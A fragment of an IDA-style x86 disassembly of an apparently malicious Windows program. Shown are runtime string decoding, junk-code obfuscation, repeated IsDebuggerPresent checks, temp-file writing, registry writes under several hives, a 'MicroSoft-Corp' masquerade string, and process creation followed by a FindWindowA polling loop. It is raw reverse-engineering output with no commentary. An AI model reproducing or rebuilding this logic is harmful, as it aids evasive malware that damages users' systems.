		mov	ax, word_4422B8
		mov	[ebp+var_3004A], ax
		mov	eax, [ebp+var_10004]
		or	eax, eax
		jz	short loc_405543
		or	ebx, ebx
		jz	short loc_405543
		cmp	[ebp+arg_14], eax
		jb	short loc_405571


loc_405543:				; CODE XREF: sub_4054C8+70j
					; sub_4054C8+74j
		mov	byte ptr [ebp+var_30078+3], 6Fh
		add	byte ptr [ebp+var_30078+3], 1
		push	ebx
		call	sub_40C884	; LocalFree
		mov	word ptr [ebp+var_30078], 52A5h
		inc	word ptr [ebp+var_30078]
		mov	[ebp+var_3001C], 1


loc_405571:				; CODE XREF: sub_4054C8+79j
		push	[ebp+arg_C]
		call	sub_40C95C	; lstrlenA
		mov	[ebp+var_30078], eax
		mov	eax, 64h
		mul	[ebp+var_10004]
		mov	[ebp+var_3007C], eax
		mov	edi, [ebp+var_30078]
		imul	edi, [ebp+var_30078], 32h
		mov	esi, [ebp+var_3007C]
		lea	edi, [esi+edi+1000h]
		push	edi
		push	40h
		call	sub_40C878	; LocalAlloc
		mov	[ebp+var_20008], eax
		call	sub_40C734	; GetCurrentProcessId
		lea	edi, [ebp+var_30051]
		lea	esi, aQcfdx	; "QcfdX'"
		mov	ecx, 7
		rep movsb
		lea	edi, [ebp+var_30054]
		lea	esi, aNy	; "NY"
		mov	ecx, 3
		rep movsb
		push	[ebp+arg_0]
		push	104h
		call	sub_40C7B8	; GetTempPathA
		call	sub_40C794	; GetProcessHeap
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30080], eax
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_405603:				; CODE XREF: sub_4054C8+140j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_405603
		mov	edi, eax
		mov	esi, 19h
		sub	esi, dword_44229C
		push	esi
		mov	esi, [ebp+var_30080]
		add	esi, edi
		push	esi
		call	sub_40172F
		add	esp, 8
		call	sub_40C7D0	; GetVersion
		push	4
		push	offset byte_447377
		call	sub_405138
		add	esp, 8
		push	eax
		push	[ebp+arg_0]
		call	sub_40CC74
		add	esp, 8
		mov	eax, dword_4422C4
		mov	[ebp+var_30058], eax
		push	6
		push	offset dword_447370
		call	sub_405138
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		lea	edi, [ebp+var_3005B]
		lea	esi, byte_4422C8
		mov	ecx, 3
		rep movsb
		push	6
		push	offset byte_447369
		call	sub_405138
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		mov	eax, dword_4422CB
		mov	[ebp+var_3005F], eax
		push	13h
		push	offset byte_447355
		call	sub_405138
		add	esp, 8
		push	[ebp+arg_1C]
		push	offset aMicrosoftCorp ;	"MicroSoft-Corp"
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		add	esp, 10h
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		push	7
		push	offset word_44733E
		call	sub_405138
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		mov	[ebp+var_30021], 51h
		sub	[ebp+var_30021], 7Ch
		push	6
		push	offset byte_447337
		call	sub_405138
		add	esp, 8
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		call	sub_40C7C4	; GetTickCount
		lea	edi, [ebp+var_30064]
		lea	esi, a70cg	; "70cg"
		mov	ecx, 5
		rep movsb
		push	5
		push	offset byte_447331
		call	sub_405138
		add	esp, 8
		mov	[ebp+var_30084], eax
		call	sub_40CC38
		mov	ecx, 3E8h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_30084]
		push	[ebp+var_30084]
		lea	edi, [ebp+var_3002B]
		push	edi
		call	sub_40CC50
		add	esp, 0Ch
		call	sub_40C854	; IsDebuggerPresent
		push	2Ah
		push	offset word_447306
		call	sub_405138
		add	esp, 8
		lea	edi, [ebp+var_3002B]
		push	edi
		push	[ebp+arg_8]
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		add	esp, 10h
		call	sub_40C7C4	; GetTickCount
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		mov	[ebp+var_3002C], 0CAh
		movzx	eax, [ebp+var_3002C]
		imul	eax, 1107h
		mov	[ebp+var_3002C], al
		push	2Dh
		push	offset dword_4472D8
		call	sub_405138
		add	esp, 8
		mov	[ebp+var_30088], eax
		call	sub_40CC38
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 14h
		push	edi
		mov	edi, [ebp+var_30088]
		push	[ebp+var_30088]
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		add	esp, 0Ch
		call	sub_40C854	; IsDebuggerPresent
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		mov	[ebp+var_30030], 7FDh
		add	[ebp+var_30030], 38E3h
		cmp	[ebp+var_3001C], 0
		jnz	loc_405B6E
		call	sub_40C734	; GetCurrentProcessId
		cmp	[ebp+arg_18], 0
		jz	loc_4059C5
		lea	edi, [ebp+var_3008D]
		lea	esi, byte_4422D4
		xor	ecx, ecx
		inc	ecx
		rep movsb
		and	[ebp+var_3008C], 0
		jmp	loc_4059A8
; ---------------------------------------------------------------------------


loc_405896:				; CODE XREF: sub_4054C8+4ECj
		call	sub_40C854	; IsDebuggerPresent
		mov	[ebp+var_10000], 0
		mov	ax, word_4422D5
		mov	[ebp+var_30096], ax
		and	[ebp+var_30094], 0
		jmp	loc_40594A
; ---------------------------------------------------------------------------


loc_4058BB:				; CODE XREF: sub_4054C8+48Cj
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+var_3008C]
		add	eax, [ebp+var_30094]
		cmp	eax, [ebp+var_10004]
		jnb	loc_40595A
		push	6
		push	offset dword_44737C
		call	sub_405138
		mov	[ebp+var_3009C], eax
		mov	edi, [ebp+var_3008C]
		add	edi, [ebp+var_30094]
		movzx	edi, byte ptr [ebx+edi]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	esi, edx
		add	esi, 61h
		push	esi
		mov	eax, edi
		mov	ecx, 1Ah
		mov	edx, 4EC4EC4Fh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_300A0], edx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp+var_10000]
		push	edi
		mov	edi, [ebp+var_3009C]
		push	edi
		lea	edi, [ebp+var_10000]
		push	edi
		call	sub_40CC50
		add	esp, 1Ch
		inc	[ebp+var_30094]


loc_40594A:				; CODE XREF: sub_4054C8+3EEj
		cmp	[ebp+var_30094], 80h
		jb	loc_4058BB


loc_40595A:				; CODE XREF: sub_4054C8+40Aj
		push	30h
		push	offset byte_4472A7
		call	sub_405138
		push	[ebp+var_2000C]
		push	[ebp+arg_10]
		lea	edi, [ebp+var_10000]
		push	edi
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 24h
		add	[ebp+var_3008C], 80h
		inc	[ebp+var_2000C]


loc_4059A8:				; CODE XREF: sub_4054C8+3C9j
		mov	eax, [ebp+var_10004]
		cmp	[ebp+var_3008C], eax
		jb	loc_405896
		mov	[ebp+var_30014], eax
		jmp	loc_405B6E
; ---------------------------------------------------------------------------


loc_4059C5:				; CODE XREF: sub_4054C8+3ABj
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_10004], eax
		jmp	loc_405B4A
; ---------------------------------------------------------------------------


loc_4059D8:				; CODE XREF: sub_4054C8+6A0j
		call	sub_40C734	; GetCurrentProcessId
		cmp	[ebp+var_10000], 0
		jz	loc_405B4A
		mov	byte ptr [ebp+var_3008C+2], 9Fh
		sub	byte ptr [ebp+var_3008C+2], 36h
		mov	eax, [ebp+arg_14]
		add	eax, 0C800h
		cmp	[ebp+var_10004], eax
		jnb	loc_405B6E
		lea	edi, [ebp+var_3009C+3]
		lea	esi, byte_4422D7
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+var_10004]
		mov	[ebp+var_30014], eax
		push	3
		push	offset off_4472A3
		call	sub_405138
		push	[ebp+arg_C]
		push	eax
		lea	edi, [ebp+var_3000C]
		push	edi
		call	sub_40CC50
		add	esp, 14h
		lea	edi, [ebp+var_300A1]
		lea	esi, a9jm6N	; "'9jM6 N"
		movsd
		movsd
		lea	ecx, [ebp+var_3000C]
		or	eax, 0FFFFFFFFh


loc_405A61:				; CODE XREF: sub_4054C8+59Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_405A61
		mov	edi, eax
		mov	word ptr [ebp+var_30094+2], di
		mov	word ptr [ebp+var_3008C], 45ACh
		movzx	eax, word ptr [ebp+var_3008C]
		imul	eax, 6B72h
		mov	word ptr [ebp+var_3008C], ax
		lea	eax, [ebp+var_10000]
		push	eax
		movzx	eax, word ptr [ebp+var_30094+2]
		lea	eax, [ebp+eax+var_3000C]
		push	eax
		call	sub_40C6D8
		mov	byte ptr [ebp+var_3008C+3], 0DBh
		movzx	eax, byte ptr [ebp+var_3008C+3]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	byte ptr [ebp+var_3008C+3], al
		lea	eax, [ebp+var_3000C]
		push	eax
		call	sub_4053FE
		add	esp, 4
		mov	[ebp+var_30010], eax
		push	30h
		push	offset byte_4472A7
		call	sub_405138
		add	esp, 8
		push	[ebp+var_2000C]
		push	[ebp+arg_10]
		push	[ebp+var_30010]
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		add	esp, 14h
		call	sub_40C740	; GetCurrentThreadId
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		add	esp, 8
		mov	dword ptr [ebp-30090h],	472Eh
		add	dword ptr [ebp-30090h],	7A98h
		push	[ebp+var_30010]
		call	sub_40C884	; LocalFree
		call	sub_40C794	; GetProcessHeap
		inc	[ebp+var_2000C]


loc_405B4A:				; CODE XREF: sub_4054C8+50Bj
					; sub_4054C8+51Cj
		lea	eax, [ebp+var_10000]
		push	eax
		push	[ebp+var_10004]
		push	ebx
		call	sub_401BB7
		add	esp, 0Ch
		mov	[ebp+var_10004], eax
		or	eax, eax
		jnz	loc_4059D8


loc_405B6E:				; CODE XREF: sub_4054C8+39Cj
					; sub_4054C8+4F8j ...
		push	1Eh
		push	offset dword_447284
		call	sub_405138
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		mov	[ebp+var_30034], 2A8Eh
		add	[ebp+var_30034], 6CB3h
		push	7
		push	offset dword_44727C
		call	sub_405138
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		call	sub_40C7D0	; GetVersion
		push	8
		push	offset byte_447273
		call	sub_405138
		push	eax
		push	[ebp+var_20008]
		call	sub_404529
		mov	[ebp+var_30035], 15h
		add	[ebp+var_30035], 2Fh
		lea	edi, [ebp+var_30067]
		lea	esi, aG		; "ƒ>"
		mov	ecx, 3
		rep movsb
		push	6
		push	offset dword_44726C
		call	sub_405138
		mov	[ebp+var_3008C], eax
		call	sub_40CC38
		mov	[ebp-30090h], eax
		call	sub_40CC38
		mov	ecx, 63h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp-30090h]
		mov	eax, edi
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_3008C]
		push	edi
		lea	edi, [ebp+var_3003F]
		push	edi
		call	sub_40CC50
		mov	[ebp+var_30018], 0F6Ah
		movzx	eax, [ebp+var_30018]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_30018], ax
		push	0Eh
		push	offset byte_44725D
		call	sub_405138
		lea	edi, [ebp+var_3003F]
		push	edi
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404529
		mov	[ebp+var_30040], 95h
		add	[ebp+var_30040], 1
		push	15h
		push	offset byte_447247
		call	sub_405138
		lea	edi, [ebp+var_3002B]
		push	edi
		push	eax
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		lea	edi, [ebp+var_3006C]
		lea	esi, a0A	; "0 ,a"
		mov	ecx, 5
		rep movsb
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404529
		call	sub_40C740	; GetCurrentThreadId
		push	1
		push	offset byte_447245
		call	sub_405138
		push	eax
		push	[ebp+var_20008]
		call	sub_404529
		mov	ax, word_4422EE
		mov	[ebp+var_3006E], ax
		push	16h
		push	offset word_44722E
		call	sub_405138
		mov	[ebp+var_30094], eax
		call	sub_40CC38
		mov	ecx, 3E8h
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 2710h
		push	edi
		lea	edi, [ebp+var_3003F]
		push	edi
		mov	edi, [ebp+var_30094]
		push	edi
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_40CC50
		call	sub_40C764	; RtlGetLastWin32Error
		lea	eax, [ebp+var_20003]
		push	eax
		push	[ebp+var_20008]
		call	sub_404529
		mov	[ebp+var_30041], 97h
		add	[ebp+var_30041], 3Eh
		push	9
		push	offset dword_447224
		call	sub_405138
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		lea	edi, [ebp+var_30071]
		lea	esi, byte_4422F0
		mov	ecx, 3
		rep movsb
		push	7
		push	offset dword_44721C
		call	sub_405138
		push	eax
		push	[ebp+var_20008]
		call	sub_40481B
		call	sub_40C740	; GetCurrentThreadId
		push	7
		push	offset dword_447214
		call	sub_405138
		push	eax
		push	[ebp+var_20008]
		call	sub_40CC74
		call	sub_40C7C4	; GetTickCount
		push	[ebp+arg_0]
		call	sub_40341E
		add	esp, 0E4h
		mov	[ebp+var_30044], 4FFDh
		inc	[ebp+var_30044]
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		push	[ebp+arg_0]
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_30020], eax
		mov	[ebp+var_30048], 473Dh
		add	[ebp+var_30048], 10D3h
		push	[ebp+var_20008]
		call	sub_40C95C	; lstrlenA
		push	0
		lea	edi, [ebp+var_2000C]
		push	edi
		push	eax
		push	[ebp+var_20008]
		push	[ebp+var_30020]
		call	sub_40C944	; WriteFile
		push	[ebp+var_30020]
		call	sub_40C7AC	; CloseHandle
		push	[ebp+var_20008]
		call	sub_40C884	; LocalFree
		cmp	[ebp+var_3001C], 0
		jnz	short loc_405E78
		push	ebx
		call	sub_40C884	; LocalFree
		jmp	short loc_405E7D
; ---------------------------------------------------------------------------


loc_405E78:				; CODE XREF: sub_4054C8+9A6j
		or	eax, 0FFFFFFFFh
		jmp	short loc_405E83
; ---------------------------------------------------------------------------


loc_405E7D:				; CODE XREF: sub_4054C8+9AEj
		mov	eax, [ebp+var_30014]


loc_405E83:				; CODE XREF: sub_4054C8+9B3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4054C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E88	proc near		; CODE XREF: sub_4061F7:loc_40632Dp

var_2124	= dword	ptr -2124h
var_2120	= byte ptr -2120h
var_1121	= byte ptr -1121h
var_130		= dword	ptr -130h
var_12B		= byte ptr -12Bh
var_126		= byte ptr -126h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= word ptr -11Ch
var_11A		= byte ptr -11Ah
var_114		= byte ptr -114h
var_10D		= byte ptr -10Dh
var_10A		= word ptr -10Ah
var_108		= dword	ptr -108h
var_101		= byte ptr -101h
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		mov	eax, 2124h
		call	sub_40C6B8
		push	esi
		push	edi
		call	sub_40C764	; RtlGetLastWin32Error
		lea	edi, [ebp+var_10D]
		lea	esi, byte_4422F3
		mov	ecx, 3
		rep movsb
		lea	edi, [ebp+var_114]
		lea	esi, aZ0y	; ",`z:0Y"
		mov	ecx, 7
		rep movsb
		and	[ebp+var_108], 0
		mov	[ebp+var_101], 0
		jmp	loc_406024
; ---------------------------------------------------------------------------


loc_405ED5:				; CODE XREF: sub_405E88+1A4j
		call	sub_40C740	; GetCurrentThreadId
		push	44h
		push	offset byte_4471CF
		call	sub_405138
		movzx	edi, [ebp+var_101]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		call	sub_40CC50
		call	sub_40C7D0	; GetVersion
		push	4
		push	offset word_4471CA
		call	sub_405138
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000001h
		call	sub_40160A
		lea	edi, [ebp+var_126]
		lea	esi, aNw	; "Nw	"
		mov	ecx, 3
		rep movsw
		push	4
		push	offset word_4471CA
		call	sub_405138
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000002h
		call	sub_40160A
		mov	[ebp+var_120], 2D0Fh
		mov	eax, 37FBh
		mul	[ebp+var_120]
		mov	[ebp+var_130], eax
		mov	[ebp+var_120], eax
		push	4Dh
		push	offset dword_44717C
		call	sub_405138
		movzx	edi, [ebp+var_101]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		call	sub_40CC50
		call	sub_40C794	; GetProcessHeap
		push	4
		push	offset word_4471CA
		call	sub_405138
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000002h
		call	sub_40160A
		lea	edi, [ebp+var_12B]
		lea	esi, aAy	; " ay+"
		mov	ecx, 5
		rep movsb
		push	4
		push	offset word_4471CA
		call	sub_405138
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		lea	edi, [ebp+var_100]
		push	edi
		push	80000001h
		call	sub_40160A
		add	esp, 0A8h
		call	sub_40C794	; GetProcessHeap
		add	[ebp+var_101], 1


loc_406024:				; CODE XREF: sub_405E88+48j
		mov	al, [ebp+var_101]
		cmp	al, 5
		jb	loc_405ED5
		call	sub_40C7D0	; GetVersion
		cmp	eax, 80000000h
		jb	short loc_4060A2
		call	sub_40C764	; RtlGetLastWin32Error
		push	4Ch
		push	offset byte_44712F
		call	sub_405138
		mov	[ebp+var_120], eax
		push	10h
		push	offset aNskoyryklns_yo ; "~NSKOYrYKlNS_YOO"
		call	sub_405138
		mov	[ebp+var_124], eax
		push	3
		push	offset word_44711A
		call	sub_405138
		push	1
		mov	edi, 15h
		sub	edi, dword_44229C
		push	edi
		push	eax
		mov	edi, [ebp+var_124]
		push	edi
		mov	edi, [ebp+var_120]
		push	edi
		push	80000003h
		call	sub_40160A
		add	esp, 30h
		jmp	loc_406140
; ---------------------------------------------------------------------------


loc_4060A2:				; CODE XREF: sub_405E88+1B4j
		mov	ax, word_442308
		mov	word ptr [ebp+var_124+2], ax
		mov	eax, dword_44230A
		mov	[ebp+var_2124],	eax
		lea	eax, [ebp+var_1121]
		push	eax
		call	sub_40506F
		call	sub_40C794	; GetProcessHeap
		push	59h
		push	offset dword_4470C0
		call	sub_405138
		lea	edi, [ebp+var_1121]
		push	edi
		push	eax
		lea	edi, [ebp+var_2120]
		push	edi
		call	sub_40CC50
		call	sub_40C7C4	; GetTickCount
		and	[ebp+var_120], 0
		push	0Ch
		push	offset byte_4470B3
		call	sub_405138
		push	4
		push	4
		lea	edi, [ebp+var_120]
		push	edi
		push	eax
		lea	edi, [ebp+var_2120]
		push	edi
		push	80000003h
		call	sub_40160A
		add	esp, 38h
		mov	[ebp+var_11C], 3003h
		movzx	eax, [ebp+var_11C]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_11C], ax


loc_406140:				; CODE XREF: sub_405E88+215j
		push	3Bh
		push	offset byte_447077
		call	sub_405138
		mov	[ebp+var_120], eax
		push	11h
		push	offset aPsPioynszzpury ; "{PS^]PiOYNsZZPURY"
		call	sub_405138
		push	4
		push	4
		lea	edi, [ebp+var_108]
		push	edi
		push	eax
		mov	edi, [ebp+var_120]
		push	edi
		push	80000001h
		call	sub_40160A
		lea	edi, [ebp+var_11A]
		lea	esi, aQa@	; "*Q€@	"
		mov	ecx, 3
		rep movsw
		push	33h
		push	offset byte_447031
		call	sub_405138
		push	1
		push	0
		push	offset byte_447529
		push	offset byte_447529
		push	eax
		push	80000001h
		call	sub_40160A
		call	sub_40C734	; GetCurrentProcessId
		push	3Bh
		push	offset byte_446FF5
		call	sub_405138
		push	1
		push	0
		push	offset byte_447529
		push	offset byte_447529
		push	eax
		push	80000001h
		call	sub_40160A
		add	esp, 68h
		mov	[ebp+var_10A], 4809h
		sub	[ebp+var_10A], 555h
		pop	edi
		pop	esi
		leave
		retn
sub_405E88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4061F7	proc near		; CODE XREF: sub_4098A8+29Dp
					; sub_4098A8+647p ...

var_3DF		= byte ptr -3DFh
var_3DC		= dword	ptr -3DCh
var_3D7		= byte ptr -3D7h
var_3D6		= byte ptr -3D6h
var_2D2		= byte ptr -2D2h
var_2CD		= dword	ptr -2CDh
var_2C9		= byte ptr -2C9h
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BB		= byte ptr -2BBh
var_2B5		= byte ptr -2B5h
var_2B4		= dword	ptr -2B4h
var_2AD		= byte ptr -2ADh
var_2A5		= byte ptr -2A5h
var_29F		= byte ptr -29Fh
var_298		= byte ptr -298h
var_295		= byte ptr -295h
var_28F		= byte ptr -28Fh
var_28C		= byte ptr -28Ch
var_286		= byte ptr -286h
var_281		= dword	ptr -281h
var_27D		= byte ptr -27Dh
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= word ptr -268h
var_266		= word ptr -266h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_250		= byte ptr -250h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_11C		= dword	ptr -11Ch
var_118		= word ptr -118h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 3E0h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_27D]
		lea	esi, aIJ	; "%i J"
		mov	ecx, 5
		rep movsb
		and	[ebp+var_14C], 0
		mov	eax, dword_442319
		mov	[ebp+var_281], eax
		xor	ebx, ebx
		lea	edi, [ebp+var_286]
		lea	esi, aS?xv	; "S?XV"
		mov	ecx, 5
		rep movsb
		push	offset dword_4422A4
		call	sub_40C830	; InterlockedIncrement
		mov	[ebp+var_26C], eax
		mov	[ebp+var_264], 6A69h
		mov	eax, [ebp+var_264]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_264], edx
		push	10h
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_40CC20
		mov	[ebp+var_266], 6967h
		sub	[ebp+var_266], 112Ch
		mov	[ebp+var_270], 104h
		call	sub_40C794	; GetProcessHeap
		push	21h
		push	offset byte_446FD3
		call	sub_405138
		mov	[ebp+var_2B4], eax
		push	4
		push	offset aLHt	; "l]HT"
		call	sub_405138
		lea	edi, [ebp+var_28C]
		push	edi
		lea	edi, [ebp+var_270]
		push	edi
		lea	edi, [ebp+var_250]
		push	edi
		push	eax
		mov	edi, [ebp+var_2B4]
		push	edi
		push	80000002h
		call	sub_4014C9
		add	esp, 34h
		mov	[ebp+var_274], eax
		mov	[ebp+var_268], 31E9h
		sub	[ebp+var_268], 5E5h
		test	eax, eax
		jnz	short loc_40632D
		mov	[ebp+var_2B5], 0E2h
		add	[ebp+var_2B5], 1
		push	[ebp+arg_0]
		call	sub_40C884	; LocalFree
		lea	edi, [ebp+var_2BB]
		lea	esi, aDFY	; "D/f'Y"
		mov	ecx, 3
		rep movsw
		xor	eax, eax
		jmp	loc_406810
; ---------------------------------------------------------------------------


loc_40632D:				; CODE XREF: sub_4061F7+103j
		call	sub_405E88
		lea	edi, [ebp+var_28F]
		lea	esi, a6l	; "6l"
		mov	ecx, 3
		rep movsb
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_40C71C	; ExpandEnvironmentStringsA
		lea	edi, [ebp+var_295]
		lea	esi, byte_44232B
		mov	ecx, 3
		rep movsw
		push	[ebp+var_26C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_4054C8
		add	esp, 20h
		mov	[ebp+var_14C], eax
		cmp	[ebp+arg_1C], 0
		jz	short loc_4063BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4063B6
		mov	eax, [ebp+arg_1C]
		mov	edx, [ebp+var_14C]
		mov	[eax], edx
		jmp	short loc_4063BC
; ---------------------------------------------------------------------------


loc_4063B6:				; CODE XREF: sub_4061F7+1B0j
		mov	eax, [ebp+arg_1C]
		and	dword ptr [eax], 0


loc_4063BC:				; CODE XREF: sub_4061F7+1ABj
					; sub_4061F7+1BDj
		cmp	[ebp+var_14C], 0
		jnz	short loc_4063DF
		mov	eax, dword_442331
		mov	[ebp-2B8h], eax
		push	[ebp+arg_0]
		call	sub_40C884	; LocalFree
		xor	eax, eax
		jmp	loc_406810
; ---------------------------------------------------------------------------


loc_4063DF:				; CODE XREF: sub_4061F7+1CCj
		push	0Eh
		push	offset byte_446FBF
		call	sub_405138
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CC74
		lea	edi, [ebp+var_298]
		lea	esi, byte_442335
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_250]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CC74
		call	sub_40C794	; GetProcessHeap
		call	sub_4043CA
		mov	[ebp+var_278], eax
		lea	edi, [ebp+var_29F]
		lea	esi, aEnoX	; "Eno$#X"
		mov	ecx, 7
		rep movsb
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40CC20
		call	sub_40C854	; IsDebuggerPresent
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40CC20
		add	esp, 30h
		lea	edi, [ebp+var_2A5]
		lea	esi, a231w	; "231w-"
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_148], 44h
		lea	edi, [ebp+var_2AD]
		lea	esi, aR2Oe@	; "r2#Oe%@"
		mov	ecx, 2
		rep movsd
		mov	[ebp+var_11C], 1
		mov	[ebp+var_118], 1
		cmp	[ebp+var_278], 0
		jz	short loc_4064C5
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40446E
		pop	ecx
		jmp	short loc_4064CE
; ---------------------------------------------------------------------------


loc_4064C5:				; CODE XREF: sub_4061F7+2BDj
		mov	[ebp+var_118], 0


loc_4064CE:				; CODE XREF: sub_4061F7+2CCj
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		push	0
		push	0
		push	20h
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	sub_40C974	; CreateProcessA
		or	eax, eax
		jz	loc_4067AD
		mov	eax, dword_44234D
		mov	[ebp+var_2C4], eax
		push	[ebp+var_25C]
		call	sub_40C7AC	; CloseHandle
		mov	dword ptr [ebp-2BCh], 4906h
		mov	eax, 28BCh
		mul	dword ptr [ebp-2BCh]
		mov	[ebp+var_2C8], eax
		mov	[ebp-2BCh], eax
		push	22h
		push	offset dword_446F9C
		call	sub_405138
		push	[ebp+var_26C]
		push	offset aMicrosoftCorp ;	"MicroSoft-Corp"
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CC50
		add	esp, 18h
		mov	[ebp+var_2C0], 5F7Dh
		add	[ebp+var_2C0], 58F3h
		mov	[ebp+var_2B5], 0
		jmp	short loc_4065D0
; ---------------------------------------------------------------------------


loc_406579:				; CODE XREF: sub_4061F7+3E1j
		call	sub_40C7C4	; GetTickCount
		push	7
		push	offset aUyznQy	; "uyzN]QY"
		call	sub_405138
		add	esp, 8
		lea	edi, [ebp+var_104]
		push	edi
		push	eax
		call	sub_40C9B0	; FindWindowA
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_4065DA
		mov	[ebp+var_2C9], 0BAh
		add	[ebp+var_2C9], 0Bh
		mov	eax, dword_44229C
		add	eax, 3D7h
		push	eax
		call	sub_40C8F0	; Sleep
		mov	eax, dword_442351
		mov	[ebp+var_2CD], eax
		add	[ebp+var_2B5], 1


loc_4065D0:				; CODE XREF: sub_4061F7+380j
		mov	al, [ebp+var_2B5]
		cmp	al, 0Ah
		jb	short loc_406579


loc_4065DA:				; CODE XREF: sub_4061F7+3A7j
		or	ebx, ebx
		jz	loc_40679F
		call	sub_40C734	; GetCurrentProcessId
		push	0EA60h
		call	sub_40C8F0	; Sleep
		call	sub_40C764	; RtlGetLastWin32Error
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
